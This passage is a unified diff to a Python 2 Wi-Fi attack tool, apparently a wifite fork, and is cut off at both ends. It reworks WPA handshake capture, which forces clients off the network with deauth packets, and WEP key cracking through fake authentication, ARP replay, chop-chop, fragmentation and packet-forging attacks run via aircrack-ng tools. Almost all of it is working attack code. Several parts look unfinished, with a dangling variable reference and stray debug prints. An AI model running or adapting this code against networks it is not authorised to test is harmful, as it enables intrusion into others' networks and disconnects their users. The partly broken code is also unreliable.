sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W, \ G + str(self.RUN_CONFIG.WPA_DEAUTH_COUNT) + W, \ - G + target_clients[client_index].bssid + W), + G + target_clients[client_index].bssid + W), cmd.append('-h') cmd.append(target_clients[client_index].bssid) - cmd.append(self.iface) + cmd.append(self.iface.iface) stdout.flush() # Send deauth packets via aireplay, wait for them to complete. @@ -2226,19 +3086,15 @@ def wpa_get_handshake(self): stdout.flush() # Copy current dump file for consistency - if not os.path.exists(self.RUN_CONFIG.temp + 'wpa-01.cap'): continue - copy(self.RUN_CONFIG.temp + 'wpa-01.cap', self.RUN_CONFIG.temp + 'wpa-01.cap.temp') - - # Save copy of cap file (for debugging) - #remove_file('/root/new/wpa-01.cap') - #copy(temp + 'wpa-01.cap', '/root/new/wpa-01.cap') + if not os.path.exists(self.dump_file_prefix + '-01.cap'): continue + copy(self.dump_file_prefix + '-01.cap', self.dump_file_prefix + '-01.cap.temp') # Check for handshake - if self.has_handshake(self.target, self.RUN_CONFIG.temp + 'wpa-01.cap.temp'): + if self.has_handshake(self.target, self.dump_file_prefix + '-01.cap.temp'): got_handshake = True try: - os.mkdir(self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep) + os.mkdir(self.RUN_CONFIG.WPA_HANDSHAKE_DIR) except OSError: pass @@ -2247,12 +3103,12 @@ def wpa_get_handshake(self): send_interrupt(proc_deauth) # Save a copy of the handshake - rename(self.RUN_CONFIG.temp + 'wpa-01.cap.temp', save_as) + rename(self.dump_file_prefix + '-01.cap.temp', save_as) print '\n %s %shandshake captured%s! saved as "%s"' % ( - GR + sec_to_hms(seconds_running) + W, G, W, G + save_as + W) + GR + sec_to_hms(seconds_running) + W, G, W, G + save_as +W) self.RUN_CONFIG.WPA_FINDINGS.append( - '%s (%s) handshake captured' % (self.target.ssid, self.target.bssid)) + '"%s" (%s) handshake captured' % (self.target.ssid, self.target.bssid)) self.RUN_CONFIG.WPA_FINDINGS.append('saved as %s' % (save_as)) self.RUN_CONFIG.WPA_FINDINGS.append('') @@ -2266,10 +3122,10 @@ def wpa_get_handshake(self): break # Break out of while loop # No handshake yet - os.remove(self.RUN_CONFIG.temp + 'wpa-01.cap.temp') + os.remove(self.dump_file_prefix + '-01.cap.temp') # Check the airodump output file for new clients - for client in self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wpa-01.csv')[1]: + for client in self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.dump_file_prefix + '-01.csv')[1]: if client.station != self.target.bssid: continue new_client = True for c in target_clients: @@ -2291,17 +3147,15 @@ def wpa_get_handshake(self): except KeyboardInterrupt: print R + '\n (^C)' + O + ' WPA handshake capture interrupted' + W if attack_interrupted_prompt(): - remove_airodump_files(self.RUN_CONFIG.temp + 'wpa') - send_interrupt(proc_read) - send_interrupt(proc_deauth) + remove_airodump_files(self.dump_file_prefix) + send_interrupt([proc_read,proc_deauth]) print '' self.RUN_CONFIG.exit_gracefully(0) # clean up - remove_airodump_files(self.RUN_CONFIG.temp + 'wpa') - send_interrupt(proc_read) - send_interrupt(proc_deauth) + remove_airodump_files(self.dump_file_prefix) + send_interrupt([proc_read,proc_deauth]) return got_handshake @@ -2310,7 +3164,7 @@ def has_handshake_tshark(self, target, capfile): Uses TShark to check for a handshake. Returns "True" if handshake is found, false otherwise. """ - if program_exists('tshark'): + if file_search('tshark'): # Call Tshark to return list of EAPOL packets in cap file. cmd = ['tshark', '-r', capfile, # Input file @@ -2397,7 +3251,7 @@ def has_handshake_cowpatty(self, target, capfile, nonstrict=True): Uses cowpatty to check for a handshake. Returns "True" if handshake is found, false otherwise. """ - if not program_exists('cowpatty'): return False + if not file_search('cowpatty'): return False # Call cowpatty to check if capfile contains a valid handshake. cmd = ['cowpatty', @@ -2422,7 +3276,7 @@ def has_handshake_pyrit(self, target, capfile): Uses pyrit to check for a handshake. Returns "True" if handshake is found, false otherwise. """ - if not program_exists('pyrit'): return False + if not file_search('pyrit'): return False # Call pyrit to "Analyze" the cap file's handshakes. cmd = ['pyrit', @@ -2451,7 +3305,7 @@ def has_handshake_aircrack(self, target, capfile): Uses aircrack-ng to check for handshake. Returns True if found, False otherwise. """ - if not program_exists('aircrack-ng'): return False + if not file_search('aircrack-ng'): return False crack = 'echo "" | aircrack-ng -a 2 -w - -b ' + target.bssid + ' ' + capfile proc_crack = Popen(crack, stdout=PIPE, stderr=DN, shell=True) proc_crack.wait() @@ -2464,33 +3318,33 @@ def has_handshake(self, target, capfile): Checks if .cap file contains a handshake. Returns True if handshake is found, False otherwise. """ - valid_handshake = True + valid_handshake = False tried = False if self.RUN_CONFIG.WPA_HANDSHAKE_TSHARK: tried = True valid_handshake = self.has_handshake_tshark(target, capfile) - if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY: + if not valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY: tried = True - valid_handshake = self.has_handshake_cowpatty(target, capfile) + valid_handshake = self.has_handshake_cowpatty(target, capfile, True) # Use CowPatty to check for handshake. - if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY: + if not valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY: tried = True - valid_handshake = self.has_handshake_cowpatty(target, capfile) + valid_handshake = self.has_handshake_cowpatty(target, capfile, False) # Check for handshake using Pyrit if applicable - if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_PYRIT: + if not valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_PYRIT: tried = True valid_handshake = self.has_handshake_pyrit(target, capfile) # Check for handshake using aircrack-ng - if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_AIRCRACK: + if not valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_AIRCRACK: tried = True valid_handshake = self.has_handshake_aircrack(target, capfile) if tried: return valid_handshake - print R + ' [!]' + O + ' unable to check for handshake: all handshake options are disabled!' + println_error('unable to check for handshake: all handshake options are disabled!') self.RUN_CONFIG.exit_gracefully(1) def strip_handshake(self, capfile): @@ -2498,15 +3352,16 @@ def strip_handshake(self, capfile): Uses Tshark or Pyrit to strip all non-handshake packets from a .cap file File in location 'capfile' is overwritten! """ - output_file = capfile - if program_exists('pyrit'): + + if file_search('pyrit'): cmd = ['pyrit', '-r', capfile, - '-o', output_file, + '-o', capfile + '.temp', 'stripLive'] call(cmd, stdout=DN, stderr=DN) + rename(capfile + '.temp', capfile) - elif program_exists('tshark'): + elif file_search('tshark'): # strip results with tshark cmd = ['tshark', '-r', capfile, # input file @@ -2517,103 +3372,17 @@ def strip_handshake(self, capfile): rename(capfile + '.temp', output_file) else: - print R + " [!]" + O + " unable to strip .cap file: neither pyrit nor tshark were found" + W - - -########################## -# WPA CRACKING FUNCTIONS # -########################## -def wpa_crack(capfile, RUN_CONFIG): - """ - Cracks cap file using aircrack-ng - This is crude and slow. If people want to crack using pyrit or cowpatty or oclhashcat, - they can do so manually. - """ - if RUN_CONFIG.WPA_DICTIONARY == '': - print R + ' [!]' + O + ' no WPA dictionary found! use -dict command-line argument' + W - return False - - print GR + ' [0:00:00]' + W + ' cracking %s with %s' % (G + capfile.ssid + W, G + 'aircrack-ng' + W) - start_time = time.time() - cracked = False - - remove_file(RUN_CONFIG.temp + 'out.out') - remove_file(RUN_CONFIG.temp + 'wpakey.txt') - - cmd = ['aircrack-ng', - '-a', '2', # WPA crack - '-w', RUN_CONFIG.WPA_DICTIONARY, # Wordlist - '-l', RUN_CONFIG.temp + 'wpakey.txt', # Save key to file - '-b', capfile.bssid, # BSSID of target - capfile.filename] - - proc = Popen(cmd, stdout=open(RUN_CONFIG.temp + 'out.out', 'a'), stderr=DN) - try: - kt = 0 # Keys tested - kps = 0 # Keys per second - while True: - time.sleep(1) - - if proc.poll() != None: # aircrack stopped - if os.path.exists(RUN_CONFIG.temp + 'wpakey.txt'): - # Cracked - inf = open(RUN_CONFIG.temp + 'wpakey.txt') - key = inf.read().strip() - inf.close() - RUN_CONFIG.WPA_FINDINGS.append('cracked wpa key for "%s" (%s): "%s"' % ( - G + capfile.ssid + W, G + capfile.bssid + W, C + key + W)) - RUN_CONFIG.WPA_FINDINGS.append('') - t = Target(capfile.bssid, 0, 0, 0, 'WPA', capfile.ssid) - t.key = key - RUN_CONFIG.save_cracked(t) - - print GR + '\n [+]' + W + ' cracked %s (%s)!' % (G + capfile.ssid + W, G + capfile.bssid + W) - print GR + ' [+]' + W + ' key: "%s"\n' % (C + key + W) - cracked = True - else: - # Did not crack - print R + '\n [!]' + R + 'crack attempt failed' + O + ': passphrase not in dictionary' + W - break - - inf = open(RUN_CONFIG.temp + 'out.out', 'r') - lines = inf.read().split('\n') - inf.close() - outf = open(RUN_CONFIG.temp + 'out.out', 'w') - outf.close() - for line in lines: - i = line.find(']') - j = line.find('keys tested', i) - if i != -1 and j != -1: - kts = line[i + 2:j - 1] - try: - kt = int(kts) - except ValueError: - pass - i = line.find('(') - j = line.find('k/s)', i) - if i != -1 and j != -1: - kpss = line[i + 1:j - 1] - try: - kps = float(kpss) - except ValueError: - pass - - print "\r %s %s keys tested (%s%.2f keys/sec%s) " % \ - (GR + sec_to_hms(time.time() - start_time) + W, G + add_commas(kt) + W, G, kps, W), - stdout.flush() - - except KeyboardInterrupt: - print R + '\n (^C)' + O + ' WPA cracking interrupted' + W + println_error("unable to strip .cap file: neither pyrit nor tshark were found" + W) - send_interrupt(proc) - try: - os.kill(proc.pid, SIGTERM) - except OSError: - pass - - return cracked +def get_start_message(attack, target): + return 'starting %s%s%s on "%s%s%s" (%s%s%s) with channel %s%s%s and signal strength %s%ddB%s' % \ + (G, attack, W, G, target.ssid, W, G, target.bssid, W , G, target.channel, W, G, target.power, W) +def add_slash(path): + if path != '' and path[-1] != os.sep: + path += os.sep + return path def add_commas(n): """ Receives integer n, returns string representation of n with commas in thousands place. @@ -2639,12 +3408,15 @@ def __init__(self, iface, target, clients, config): self.target = target self.clients = clients self.RUN_CONFIG = config - + self.key_file = self.RUN_CONFIG.temp + str(target) + '.key.txt' + self.dump_file_prefix=RUN_CONFIG.temp + str(target) + self.aircrack_time_out = 10 + self.aircrack_slient_time = 0 def RunAttack(self): ''' Abstract method for dispatching the WEP crack ''' - self.attack_wep() + return self.attack_wep() def EndAttack(self): ''' @@ -2652,38 +3424,108 @@ def EndAttack(self): ''' pass + def is_cracked(self): # True = cracked, False = cracking failed, None = cracking in progress + if os.path.exists(self.key_file): + # Cracked! + infile = open(self.key_file) + key = infile.read().replace('\n', '') + infile.close() + return key + out_filename=RUN_CONFIG.temp + str(self.target) + ".out" + buff=read_and_blank_file(out_filename) + if len(buff) == 0: + if self.aircrack_slient_time == 0: + self.aircrack_slient_time = time.time() + if time.time() - self.aircrack_slient_time > self.aircrack_time_out: + return False + else: + self.aircrack_slient_time = 0 + lines=buff.split("\n") + for line in lines: + if re.match("Failed\. Next try with ",line): + return False # Failed + + return None # Not done yet + + def cracked(self): + key = self.is_cracked() + print '\n\n' + println_info(' %s "%s" (%s)! key: "%s"' % ( + G + 'cracked', self.target.ssid + W, G + self.target.bssid + W, C + key + W)) + self.RUN_CONFIG.WEP_FINDINGS.append( + 'cracked "%s" (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key)) + self.RUN_CONFIG.WEP_FINDINGS.append('') + self.target.key=key + self.RUN_CONFIG.save_cracked(self.target) + + def crack(self, file_prefix, current_hms): + cmd = ['aircrack-ng', + '-a', '1', + '-l', self.key_file] + #temp + 'wep-01.cap'] + # Append all .cap/.ivs files in temp directory (in case we are resuming) + ext = ".cap" + if self.RUN_CONFIG.WEP_SAVE_IV: + ext = ".ivs" + files=glob.glob(self.RUN_CONFIG.temp + "*" + ext) + + for f in files: + cmd.append(f) + # Append all .cap/.ivs files in wep directory (in case we are resuming) + + if os.path.exists(self.RUN_CONFIG.WEP_IVS_DIR): + for f in os.listdir(self.RUN_CONFIG.WEP_IVS_DIR): + if f.startswith(str(self.target)) and (f.endswith('.cap') or f.endswith('.ivs')): + cmd.append(self.RUN_CONFIG.WEP_IVS_DIR + f) + println_debug(" ".join(cmd)) + print "\n" + print "\r %s started %s (%sover %d ivs%s)" % ( + GR + current_hms + W, G + 'cracking' + W, G, self.RUN_CONFIG.WEP_CRACK_AT_IVS, W) + out_filename=RUN_CONFIG.temp + str(self.target) + ".out" + if os.path.exists(out_filename): + remove_file(out_filename) + fout=open(out_filename, 'a') + proc = Popen(cmd, stdout=fout, stderr=fout) + return proc + #return Popen(cmd, stdout=DN, stderr=DN) def attack_wep(self): """ Attacks WEP-encrypted network. Returns True if key was successfully found, False otherwise. """ if self.RUN_CONFIG.WEP_TIMEOUT <= 0: self.RUN_CONFIG.WEP_TIMEOUT = -1 - - total_attacks = 6 # 4 + (2 if len(clients) > 0 else 0) - if not self.RUN_CONFIG.WEP_ARP_REPLAY: total_attacks -= 1 - if not self.RUN_CONFIG.WEP_CHOPCHOP: total_attacks -= 1 - if not self.RUN_CONFIG.WEP_FRAGMENT: total_attacks -= 1 - if not self.RUN_CONFIG.WEP_CAFFELATTE: total_attacks -= 1 - if not self.RUN_CONFIG.WEP_P0841: total_attacks -= 1 - if not self.RUN_CONFIG.WEP_HIRTE: total_attacks -= 1 + ext = ".cap" + if self.RUN_CONFIG.WEP_SAVE_IV: + ext = ".ivs" + #file_prefix=str(self.target) + attacks_name=['arp-replay','chop-chop','fragmentation','caffe-latte', 'p0841', 'hirte'] + attacks_allowed=[self.RUN_CONFIG.WEP_ARP_REPLAY,self.RUN_CONFIG.WEP_CHOPCHOP,self.RUN_CONFIG.WEP_FRAGMENT,self.RUN_CONFIG.WEP_CAFFELATTE,self.RUN_CONFIG.WEP_P0841,self.RUN_CONFIG.WEP_HIRTE] + + total_attacks = len(attacks_name) # 4 + (2 if len(clients) > 0 else 0) + for allowed in attacks_allowed: + if not allowed: + total_attacks-=1 if total_attacks <= 0: - print R + ' [!]' + O + ' unable to initiate WEP attacks: no attacks are selected!' + println_error('unable to initiate WEP attacks: no attacks are selected!') return False remaining_attacks = total_attacks - print ' %s preparing attack "%s" (%s)' % \ - (GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G + self.target.ssid + W, G + self.target.bssid + W) - - remove_airodump_files(self.RUN_CONFIG.temp + 'wep') - remove_file(self.RUN_CONFIG.temp + 'wepkey.txt') + print ' %s %s' % \ + (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT) + W, get_start_message(self.target.encryption + " attack", self.target)) + + remove_airodump_files(self.dump_file_prefix) + remove_file(self.key_file) # Start airodump process to capture packets cmd_airodump = ['airodump-ng', - '-w', self.RUN_CONFIG.temp + 'wep', # Output file name (wep-01.cap, wep-01.csv) + '-w', self.dump_file_prefix, # Output file name (wep-01.cap/ivs, wep-01.csv) '-c', self.target.channel, # Wireless channel '--bssid', self.target.bssid, - self.iface] + self.iface.iface] + if self.RUN_CONFIG.WEP_SAVE_IV: + cmd_airodump += ['--output-format','ivs,csv'] + println_debug(" ".join(cmd_airodump)) proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN) proc_aireplay = None proc_aircrack = None @@ -2692,150 +3534,139 @@ def attack_wep(self): started_cracking = False # Flag for when we have started aircrack-ng client_mac = '' # The client mac we will send packets to/from - total_ivs = 0 + past_total_ivs=self.count_target_ivs(self.target) + #println_info("loaded %s%d%s ivs from past attack" %(G,past_total_ivs,W)) + ivs = 0 last_ivs = 0 for attack_num in xrange(0, 6): # Skip disabled attacks - if attack_num == 0 and not self.RUN_CONFIG.WEP_ARP_REPLAY: - continue - elif attack_num == 1 and not self.RUN_CONFIG.WEP_CHOPCHOP: - continue - elif attack_num == 2 and not self.RUN_CONFIG.WEP_FRAGMENT: - continue - elif attack_num == 3 and not self.RUN_CONFIG.WEP_CAFFELATTE: + if not attacks_allowed[attack_num]: continue - elif attack_num == 4 and not self.RUN_CONFIG.WEP_P0841: - continue - elif attack_num == 5 and not self.RUN_CONFIG.WEP_HIRTE: - continue - + remaining_attacks -= 1 try: - - if self.wep_fake_auth(self.iface, self.target, sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT)): + last_deauth=0 + if self.wep_fake_auth(self.iface.iface, self.target, sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT)): # Successful fake auth - client_mac = self.RUN_CONFIG.THIS_MAC + client_mac = self.iface.get_mac() elif not self.RUN_CONFIG.WEP_IGNORE_FAKEAUTH: send_interrupt(proc_aireplay) send_interrupt(proc_airodump) - print R + ' [!]' + O + ' unable to fake-authenticate with target' - print R + ' [!]' + O + ' to skip this speed bump, select "ignore-fake-auth" at command-line' + println_error('unable to fake-authenticate with target') + println_error('to skip this speed bump, select "ignore-fake-auth" at command-line') return False remove_file(self.RUN_CONFIG.temp + 'arp.cap') # Generate the aireplay-ng arguments based on attack_num and other params - cmd = self.get_aireplay_command(self.iface, attack_num, self.target, self.clients, client_mac) + cmd = self.get_aireplay_command(self.iface.iface, attack_num, self.target, self.clients, client_mac) if cmd == '': continue if proc_aireplay != None: send_interrupt(proc_aireplay) proc_aireplay = Popen(cmd, stdout=DN, stderr=DN) - print '\r %s attacking "%s" via' % ( - GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G + self.target.ssid + W), - if attack_num == 0: - print G + 'arp-replay', - elif attack_num == 1: - print G + 'chop-chop', - elif attack_num == 2: - print G + 'fragmentation', - elif attack_num == 3: - print G + 'caffe-latte', - elif attack_num == 4: - print G + 'p0841', - elif attack_num == 5: - print G + 'hirte', - print 'attack' + W - - print ' %s captured %s%d%s ivs @ %s iv/sec' % ( - GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G, total_ivs, W, G + '0' + W), - stdout.flush() + time_started=time.time() + current_hms = sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT - (time.time() - time_started)) - time.sleep(1) - if attack_num == 1: - # Send a deauth packet to broadcast and all clients *just because!* - self.wep_send_deauths(self.iface, self.target, self.clients) - last_deauth = time.time() + print '\r %s attacking "%s" (%s) via %s attack' % ( + GR + current_hms + W, G + self.target.ssid + W,G + self.target.bssid + W, G + attacks_name[attack_num] + W) + # + + print "" + self.print_progress(current_hms, time_started, ivs, past_total_ivs) + #time.sleep(1) + # if attack_num == 1: + # # Send a deauth packet to broadcast and all clients *just because!* + # self.wep_send_deauths(self.iface.iface, self.target, self.clients) + # last_deauth = time.time() replaying = False - time_started = time.time() - while time.time() - time_started < self.RUN_CONFIG.WEP_TIMEOUT: + #time_started = time.time() + println_debug("3528") + while self.RUN_CONFIG.WEP_TIMEOUT == -1 or time.time() - time_started < self.RUN_CONFIG.WEP_TIMEOUT: + current_hms = sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT - (time.time() - time_started)) # time.sleep(5) - for time_count in xrange(0, 6): - if self.RUN_CONFIG.WEP_TIMEOUT == -1: - current_hms = "[endless]" - else: - current_hms = sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT - (time.time() - time_started)) - print "\r %s\r" % (GR + current_hms + W), - stdout.flush() - time.sleep(1) + # for time_count in xrange(0, 6): + # if self.RUN_CONFIG.WEP_TIMEOUT == -1: + # current_hms = "[endless]" + # else: + # current_hms = sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT - (time.time() - time_started)) + # print "\r %s\r" % (GR + current_hms + W), + # stdout.flush() + + # Calculates total seconds remaining - + println_debug("3543") # Check number of IVs captured - csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wep-01.csv')[0] - if len(csv) > 0: - ivs = int(csv[0].data) - print "\r ", - print "\r %s captured %s%d%s ivs @ %s%d%s iv/sec" % \ - (GR + current_hms + W, G, total_ivs + ivs, W, G, (ivs - last_ivs) / 5, W), - - if ivs - last_ivs == 0 and time.time() - last_deauth > 30: - print "\r %s deauthing to generate packets..." % (GR + current_hms + W), - self.wep_send_deauths(self.iface, self.target, self.clients) - print "done\r", - last_deauth = time.time() - - last_ivs = ivs + ivs = self.count_ivs(self.dump_file_prefix + '-01.csv') + if ivs: + print "\r ", + self.print_progress(current_hms, time_started, ivs, past_total_ivs) + # If no packet captured, deauth to generate packet + println_debug("3550") + if ivs - last_ivs == 0 and time.time() - last_deauth > 30: + print "\r %s deauthing to generate packets..." % (GR + current_hms + W), + self.wep_send_deauths(self.iface.iface, self.target, self.clients) + print "done\r", + last_deauth = time.time() stdout.flush() - if total_ivs + ivs >= self.RUN_CONFIG.WEP_CRACK_AT_IVS and not started_cracking: - # Start cracking - cmd = ['aircrack-ng', - '-a', '1', - '-l', self.RUN_CONFIG.temp + 'wepkey.txt'] - #temp + 'wep-01.cap'] - # Append all .cap files in temp directory (in case we are resuming) - for f in os.listdir(self.RUN_CONFIG.temp): - if f.startswith('wep-') and f.endswith('.cap'): - cmd.append(self.RUN_CONFIG.temp + f) - - print "\r %s started %s (%sover %d ivs%s)" % ( - GR + current_hms + W, G + 'cracking' + W, G, self.RUN_CONFIG.WEP_CRACK_AT_IVS, W) - proc_aircrack = Popen(cmd, stdout=DN, stderr=DN) - started_cracking = True - # Check if key has been cracked yet. - if os.path.exists(self.RUN_CONFIG.temp + 'wepkey.txt'): - # Cracked! - infile = open(self.RUN_CONFIG.temp + 'wepkey.txt', 'r') - key = infile.read().replace('\n', '') - infile.close() - print '\n\n %s %s %s (%s)! key: "%s"' % ( - current_hms, G + 'cracked', self.target.ssid + W, G + self.target.bssid + W, C + key + W) - self.RUN_CONFIG.WEP_FINDINGS.append( - 'cracked %s (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key)) - self.RUN_CONFIG.WEP_FINDINGS.append('') - - t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid) - t.key = key - self.RUN_CONFIG.save_cracked(t) - # Kill processes - send_interrupt(proc_airodump) - send_interrupt(proc_aireplay) - try: - os.kill(proc_aireplay, SIGTERM) - except: - pass - send_interrupt(proc_aircrack) - # Remove files generated by airodump/aireplay/packetforce - time.sleep(0.5) - remove_airodump_files(self.RUN_CONFIG.temp + 'wep') - remove_file(self.RUN_CONFIG.temp + 'wepkey.txt') - return True + + println_debug("3557") + # Check if captured IVS enough for cracking + if past_total_ivs + ivs >= self.RUN_CONFIG.WEP_CRACK_AT_IVS and not started_cracking: + # Start cracking + proc_aircrack=self.crack(self.RUN_CONFIG.temp,current_hms) + started_cracking = True + + # Not sure if the following code can be removed + + println_debug("3566") + # Check if key has been cracked yet. + if started_cracking: + print type(self.is_cracked()),self.is_cracked() + if self.is_cracked() == None: # Cracking + None + # ivs = self.count_ivs(self.dump_file_prefix + '-01.csv') + # if ivs: + # print "\r ", + # print '\r %s total %s%d%s ivs, %s%d%s from past attack, %s%d%s captured in this attack @ %s%d%s iv/sec' % ( + # GR + current_hms + W, G, total_ivs, W, G,past_total_ivs,W, G,total_ivs-past_total_ivs, W, G,(ivs - last_ivs) / 5,W), + elif self.is_cracked() == False: # Failed + started_cracking = False + send_interrupt(proc_aircrack) + while past_total_ivs + ivs>RUN_CONFIG.WEP_CRACK_AT_IVS: + RUN_CONFIG.WEP_CRACK_AT_IVS += 5000 + print "" + println_warning("cracking failed, retry again if ivs exceed %d" % (RUN_CONFIG.WEP_CRACK_AT_IVS) ) + #println_warning("cracking failed, suggested to increase ivs threshold to at least %d" % (RUN_CONFIG.WEP_CRACK_AT_IVS + 5000) ) + #print 'cracking failed' + else: + # Cracked! + #print 'cracking success' + self.cracked() + if self.RUN_CONFIG.WEP_SAVE and ivs > 0: + # Save packets + self.save_wep_packet(self.target, self.RUN_CONFIG.WEP_SAVE_IV, ivs) + # Remove files generated by airodump/aireplay/packetforce + # time.sleep(0.5) + # Kill processes + send_interrupt(proc_airodump) + send_interrupt(proc_aireplay) + try: + os.kill(proc_aireplay, SIGTERM) + except: + pass + send_interrupt(proc_aircrack) + remove_airodump_files(self.dump_file_prefix) + remove_file(self.key_file) + return True + println_debug("3607") # Check if aireplay is still executing if proc_aireplay.poll() == None: if replaying: @@ -2844,10 +3675,14 @@ def attack_wep(self): print ', waiting for packet \r', stdout.flush() continue - + println_debug("3616") # At this point, aireplay has stopped + #exit_code="" if proc_aireplay.poll() != None: proc_aireplay.poll() if attack_num != 1 and attack_num != 2: - print '\r %s attack failed: %saireplay-ng exited unexpectedly%s' % (R + current_hms, O, W) + txt= '\r %s attack failed: %saireplay-ng exited unexpectedly%s' % (R + current_hms, O, W) + if proc_aireplay.poll() != None: + txt+= ", exit code: " + str(proc_aireplay.poll()) + print txt break # Break out of attack's While loop # Check for a .XOR file (we expect one when doing chopchop/fragmentation @@ -2857,7 +3692,7 @@ def attack_wep(self): if xor_file == '': print '\r %s attack failed: %sunable to generate keystream %s' % (R + current_hms, O, W) break - + println_debug("3633") remove_file(self.RUN_CONFIG.temp + 'arp.cap') cmd = ['packetforge-ng', '-0', @@ -2867,7 +3702,7 @@ def attack_wep(self): '-l', '192.168.1.100', '-y', xor_file, '-w', self.RUN_CONFIG.temp + 'arp.cap', - self.iface] + self.iface.iface] proc_pforge = Popen(cmd, stdout=PIPE, stderr=DN) proc_pforge.wait() forged_packet = proc_pforge.communicate()[0] @@ -2878,7 +3713,7 @@ def attack_wep(self): print "\r %s attack failed: unable to forget ARP packet %s" % ( R + current_hms + O, W) break - + println_debug("3654") # We were able to forge a packet, so let's replay it via aireplay-ng cmd = ['aireplay-ng', '--ignore-negative-one', @@ -2886,49 +3721,53 @@ def attack_wep(self): '-b', self.target.bssid, '-r', self.RUN_CONFIG.temp + 'arp.cap', # Used the forged ARP packet '-F', # Select the first packet - self.iface] + self.iface.iface] proc_aireplay = Popen(cmd, stdout=DN, stderr=DN) - + println_debug("3664") print '\r %s forged %s! %s... ' % ( GR + current_hms + W, G + 'arp packet' + W, G + 'replaying' + W) replaying = True # After the attacks, if we are already cracking, wait for the key to be found! while started_cracking: # ivs > WEP_CRACK_AT_IVS: - time.sleep(5) - # Check number of IVs captured - csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wep-01.csv')[0] - if len(csv) > 0: - ivs = int(csv[0].data) - print GR + " [endless]" + W + " captured %s%d%s ivs, iv/sec: %s%d%s \r" % \ - (G, total_ivs + ivs, W, G, (ivs - last_ivs) / 5, W), + if self.is_cracked() == None: # Cracking + ivs = self.count_ivs(self.dump_file_prefix + '-01.csv') + self.print_progress(current_hms, time_started, ivs, past_total_ivs) last_ivs = ivs - stdout.flush() - - # Check if key has been cracked yet. - if os.path.exists(self.RUN_CONFIG.temp + 'wepkey.txt'): + elif self.is_cracked() == False: # Failed + started_cracking = False + send_interrupt(proc_aircrack) + # while total_ivs>RUN_CONFIG.WEP_CRACK_AT_IVS: + # RUN_CONFIG.WEP_CRACK_AT_IVS += 5000 + #println_warning("cracking failed, retry again if ivs exceed %d" % (RUN_CONFIG.WEP_CRACK_AT_IVS) ) + while past_total_ivs + ivs>RUN_CONFIG.WEP_CRACK_AT_IVS: + RUN_CONFIG.WEP_CRACK_AT_IVS += 5000 + + println_warning("cracking failed, suggested to increase ivs threshold to at least %d" % (RUN_CONFIG.WEP_CRACK_AT_IVS) ) + return False + + else: # Cracked! - infile = open(self.RUN_CONFIG.temp + 'wepkey.txt', 'r') - key = infile.read().replace('\n', '') - infile.close() - print GR + '\n\n [endless] %s %s (%s)! key: "%s"' % ( - G + 'cracked', self.target.ssid + W, G + self.target.bssid + W, C + key + W) - self.RUN_CONFIG.WEP_FINDINGS.append( - 'cracked %s (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key)) - self.RUN_CONFIG.WEP_FINDINGS.append('') - - t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid) - t.key = key - self.RUN_CONFIG.save_cracked(t) - + started_cracking = False + self.cracked() + if self.RUN_CONFIG.WEP_SAVE and ivs > 0: + # Save packets + self.save_wep_packet(self.target, self.RUN_CONFIG.WEP_SAVE_IV, ivs) + # Remove files generated by airodump/aireplay/packetforce + time.sleep(0.5) # Kill processes send_interrupt(proc_airodump) send_interrupt(proc_aireplay) + try: + os.kill(proc_aireplay, SIGTERM) + except: + pass send_interrupt(proc_aircrack) - # Remove files generated by airodump/aireplay/packetforce - remove_airodump_files(self.RUN_CONFIG.temp + 'wep') - remove_file(self.RUN_CONFIG.temp + 'wepkey.txt') + + remove_airodump_files(self.dump_file_prefix) + remove_file(self.key_file) return True + time.sleep(0.5) # Keyboard interrupt during attack except KeyboardInterrupt: @@ -2958,7 +3797,7 @@ def attack_wep(self): if len(options) > 1: # Ask user what they want to do, Store answer in "response" - print GR + ' [+]' + W + ' what do you want to do?' + println_info('what do you want to do?') response = '' while response != 'c' and response != 's' and response != 'e': for option in options: @@ -2969,24 +3808,19 @@ def attack_wep(self): response = 'e' if response == 'e' or response == 's': + println_debug("Exit or skip target (either way, stop this attack)") # Exit or skip target (either way, stop this attack) - if self.RUN_CONFIG.WEP_SAVE: + if self.RUN_CONFIG.WEP_SAVE and ivs > 0: # Save packets - save_as = re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) + '_' + self.target.bssid.replace(':', - '-') + '.cap' + W - try: - rename(self.RUN_CONFIG.temp + 'wep-01.cap', save_as) - except OSError: - print R + ' [!]' + O + ' unable to save capture file!' + W - else: - print GR + ' [+]' + W + ' packet capture ' + G + 'saved' + W + ' to ' + G + save_as + W - + self.save_wep_packet(self.target, self.RUN_CONFIG.WEP_SAVE_IV, ivs) + println_debug("Exit or skip target (either way, stop this attack)") + println_debug("Remove files generated by airodump/aireplay/packetforce") # Remove files generated by airodump/aireplay/packetforce for filename in os.listdir('.'): if filename.startswith('replay_arp-') and 